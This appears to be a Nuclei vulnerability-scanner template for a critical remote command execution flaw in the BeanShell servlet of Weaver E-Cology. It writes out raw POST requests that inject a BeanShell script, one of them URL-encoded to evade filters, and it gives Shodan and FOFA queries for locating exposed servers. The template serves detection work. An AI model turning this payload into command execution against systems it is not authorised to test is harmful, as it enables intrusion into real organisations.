Description
Weaver BeanShell contains a remote command execution vulnerability in the bsh.servlet.BshServlet program.
Weaver BeanShell contains a remote command execution vulnerability in the bsh.servlet.BshServlet program.
id: weaver-ecology-bshservlet-rce
info:
name: Weaver E-Cology BeanShell - Remote Command Execution
author: SleepingBag945
severity: critical
description: |
Weaver BeanShell contains a remote command execution vulnerability in the bsh.servlet.BshServlet program.
classification:
cpe: cpe:2.3:a:weaver:e-cology:*:*:*:*:*:*:*:*
cwe-id: CWE-95
metadata:
verified: true
max-request: 2
vendor: weaver
product: e-cology
shodan-query: ecology_JSessionid
fofa-query: app="泛微-协同办公OA"
tags: beanshell,rce,weaver,vuln
http:
- raw:
- |
POST /weaver/bsh.servlet.BshServlet HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
bsh.script=print%28%22{{randstr}}%22%29%3B
- |
POST /weaver/bsh.servlet.BshServlet HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
%62%73%68%2e%73%63%72%69%70%74=%70%72%69%6e%74%28%22{{randstr}}%22%29%3b
matchers-condition: and
matchers:
- type: regex
regex:
- "BeanShell Test Servlet"
- "(?i)<pre>(\n.*){{randstr}}"
condition: and
- type: status
status:
- 200
# digest: 4b0a00483046022100f1a2d556c9a5068fc8c40459028dfae0f69098c529448db0c0b2391306207139022100e7d5aff30efc7685e0864f55759b995d05a597f27639a3eaca499c53efccb95b:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.